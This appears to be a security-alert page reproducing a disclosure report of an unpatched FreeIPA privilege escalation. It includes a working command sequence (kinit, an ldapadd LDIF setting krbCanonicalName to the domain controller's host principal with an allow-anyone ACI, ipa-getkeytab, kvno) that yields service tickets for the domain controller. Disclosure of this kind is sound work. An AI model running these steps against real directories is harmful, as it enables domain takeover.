REDHAT-BUG-2515974: High severity FreeIPA FreeIPA vulnerability

Published Aug 14, 2026
·
Updated

I'd like to report a privilege escalation method based on manipulation of the krbCanonicalName attribute. Despite changes made by FreeIPA and PAC certificate validation, it can still be abused.

Requirements to exploit: The attacker must have the rights of the computer account or an account with the right to add to almost any branch of the LDAP directory.

Version affected: FreeIPA VERSION: 4.12.2, APIVERSION: 2.254 Patch available: no CVSS 3.1 Vector AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

You're familiar with the general information on vulnerabilities CVE-2025-4404 and CVE-2025-7493. But there's a method that can currently be exploited, and it's much more dangerous than the CVEs listed. The problem is that a user who controls krbCanonicalName can specify the value of any account by simply specifying krbCanonicalName without specifying REALM and then request the tickets they need. On earlier versions of FreeIPA where PAC certificate validation isn't enabled, we can already fully exploit the domain. But even with PAC validation enabled, we can specify values with the service prefix. For example, krbtgt/ or ldap/ or host/ and request a ticket with a PAC, and KDC will return a perfectly valid ticket. It's worth noting that if you simply specify "admin," the issuance of such tickets will be rejected due to PAC certificate validation. One of the easiest ways I see is to get a domain controller account, for example host/ipa.red.corp.

kdestroy -A

kinit -k -t /etc/krb5.keytab host/debi.red.corp

ldapadd -H ldap://ipa.red.corp

dn: krbprincipalname=pwn/debi.red.corp,cn=services,cn=accounts,dc=red,dc=corp ipaKrbPrincipalAlias: pwn/debi.red.corp krbPrincipalName: pwn/debi.red.corp objectClass: ipaKrbPrincipal objectClass: ipaObject objectClass: ipaService objectClass: krbPrincipal objectClass: krbPrincipalAux objectClass: top krbCanonicalName: host/ipa.red.corp managedBy: fqdn=debi.red.corp,cn=computers,cn=accounts,dc=red,dc=corp aci: (targetattr = "")(version 3.0;acl "pwn";allow (all) userdn = "ldap:///anyone"winking face

ipa-getkeytab -p pwn/debi.red.corp -k ./pwn.keytab --mech=GSSAPI

kdestroy -A

kinit -k -t pwn.keytab pwn/debi.red.corp

kvno HTTP/ipa.red.corp

kvno ldap/ipa.red.corp

klist -A

Affected Software

1 affected component
FreeIPA FreeIPA=4.12.2

Event History

Aug 14, 2026
Data Sourced
via Red Hat·11:28 AM
DescriptionSeverityAffected Software

Frequently Asked Questions

1

What level of access does an attacker need to exploit this issue?

The attacker needs control of a computer account or an account that can add objects to almost any branch of the LDAP directory. The attack does not require user interaction.

2

Does PAC certificate validation prevent exploitation?

No. On earlier FreeIPA versions without PAC certificate validation, the report states that full domain compromise is possible. With PAC validation enabled, an attacker can still use service-prefixed values such as krbtgt/, ldap/, or host/ to request tickets containing a PAC.

3

Is a vendor patch available?

No patch is listed as available for the affected FreeIPA 4.12.2 release with API version 2.254.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203